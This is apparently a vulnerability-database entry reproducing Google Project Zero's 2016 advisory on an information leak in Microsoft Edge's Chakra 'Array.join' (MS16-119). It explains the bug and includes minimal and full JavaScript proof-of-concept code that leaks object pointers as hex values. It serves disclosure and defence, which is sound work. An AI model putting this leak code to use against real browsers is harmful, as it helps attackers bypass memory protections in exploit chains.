Microsoft Edge - 'Array.join' Infomation Leak (MS16-119)

🗓️ 20 Oct 2016 00:00:00Reported by Google Security ResearchType

Microsoft Edge 'Array.join' Information Leak (MS16-119) details a security vulnerability in Chakra's JavaScriptArray::JoinArrayHelper function, potentially allowing execution of user scripts and access to object pointers in an array

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=919

When an array is joined in Chakra, it calls JavascriptArray::JoinArrayHelper, a function that is templated based on the type of the array. This function then calls JavascriptArray::TemplatedGetItem to get each item in the array. If an element is missing from the array, this function will fall back to the array object's prototype, which could contain a getter or a proxy, allowing user script to be executed. This script can have side effects, including changing the type of the array, however JoinArrayHelper will continue running as it's templated type even if this has happened. This can allow object pointers in an array to be read as integers and accessed by a malicious script.

A minimal PoC is as follows:


var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {

      t[0] = {};
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);

A full PoC is attached. One of the alert dialogs contains pointers to JavaScript objects.
-->

<html><body><script>

var y = 0;
var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      alert('get!');
      t[0] = {};
      var j = [];
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);
var a = s.split(",");
var h = [];
for(item in a){
	var n = parseInt(a[item]);
     if (n < 0){
		n = n + 0x100000000;
     }
	var ss = n.toString(16);
      h.push(ss);
}
alert(h);

</script></body></html>

20 Oct 2016 00:00Current

7.4High risk

Vulners AI Score7.4

Microsoft Edge - &#039;Array.join&#039; Infomation Leak (MS16-119)

Microsoft Edge - 'Array.join' Infomation Leak (MS16-119)